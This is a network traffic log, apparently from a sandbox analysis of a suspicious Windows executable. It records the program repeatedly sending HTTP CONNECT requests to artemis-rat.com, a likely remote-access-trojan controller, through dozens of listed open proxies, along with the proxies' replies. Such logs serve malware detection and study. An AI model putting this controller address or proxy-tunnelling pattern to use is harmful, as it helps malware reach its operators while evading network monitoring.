Mar 11, 2024 03:30:51.161202908 CET	221	IN	HTTP/1.1 403 Access Denied Date: Mon, 11 Mar 2024 02:30:50 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.
Mar 11, 2024 03:30:54.161174059 CET	221	IN	HTTP/1.1 403 Access Denied Date: Mon, 11 Mar 2024 02:30:50 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
622	192.168.2.5	51813	58.234.116.197	8193	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.988347054 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
623	192.168.2.5	51824	70.166.167.38	57728	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.988594055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
624	192.168.2.5	51799	138.36.150.26	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.988960028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
625	192.168.2.5	51808	121.41.66.242	8081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.990400076 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:30:40.321501017 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
626	192.168.2.5	51829	72.195.114.169	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.990400076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
627	192.168.2.5	50862	51.15.234.222	16379	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.999111891 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.108052015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.555661917 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
628	192.168.2.5	51667	148.72.206.250	14076	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.001502037 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.779822111 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.092638969 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.405534029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.999075890 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.592834949 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:58.202116966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
629	192.168.2.5	51831	147.75.92.251	10089	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.002300024 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 03:30:40.284285069 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
630	192.168.2.5	50874	51.158.125.135	16379	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.015259981 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.093031883 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.202440977 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.202210903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.561347008 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
631	192.168.2.5	51812	13.234.24.116	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.020499945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.405863047 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:40 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
632	192.168.2.5	51823	95.140.124.161	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.023770094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
633	192.168.2.5	50956	138.0.228.120	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.029817104 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.369398117 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
634	192.168.2.5	50905	185.23.118.97	57377	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.054480076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.093034983 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.202419996 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.202212095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
635	192.168.2.5	51002	194.4.50.132	12334	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.060780048 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
636	192.168.2.5	51071	194.182.178.90	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.094304085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.426320076 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
637	192.168.2.5	50926	203.96.177.211	33382	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.095067978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.108166933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.124727011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.217721939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
638	192.168.2.5	51842	139.59.1.14	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.095366955 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.690907955 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
639	192.168.2.5	51837	43.133.136.208	8800	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.096627951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
640	192.168.2.5	50936	161.97.173.42	62289	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.096688986 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.108165979 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.124744892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.217777014 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
641	192.168.2.5	50974	213.136.79.177	38772	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.106616020 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.201765060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.202899933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.202224016 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:04.201805115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
642	192.168.2.5	51012	98.162.25.4	31654	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.116211891 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
643	192.168.2.5	51889	104.16.105.182	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.151587009 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.305865049 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
644	192.168.2.5	51867	150.136.153.231	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.156519890 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:12.446701050 CET	97	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache/2.4.37 (Oracle Linux) OpenSSL/1.1.1k
Mar 11, 2024 03:31:13.149589062 CET	97	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache/2.4.37 (Oracle Linux) OpenSSL/1.1.1k
Mar 11, 2024 03:31:13.853672981 CET	97	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache/2.4.37 (Oracle Linux) OpenSSL/1.1.1k
Mar 11, 2024 03:31:15.197860003 CET	97	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache/2.4.37 (Oracle Linux) OpenSSL/1.1.1k
Mar 11, 2024 03:31:17.886706114 CET	97	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache/2.4.37 (Oracle Linux) OpenSSL/1.1.1k
Mar 11, 2024 03:31:23.197649956 CET	97	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache/2.4.37 (Oracle Linux) OpenSSL/1.1.1k
Mar 11, 2024 03:31:33.949639082 CET	97	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache/2.4.37 (Oracle Linux) OpenSSL/1.1.1k
Mar 11, 2024 03:31:55.454648018 CET	97	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache/2.4.37 (Oracle Linux) OpenSSL/1.1.1k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
645	192.168.2.5	50919	45.86.87.66	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.171080112 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.217530966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
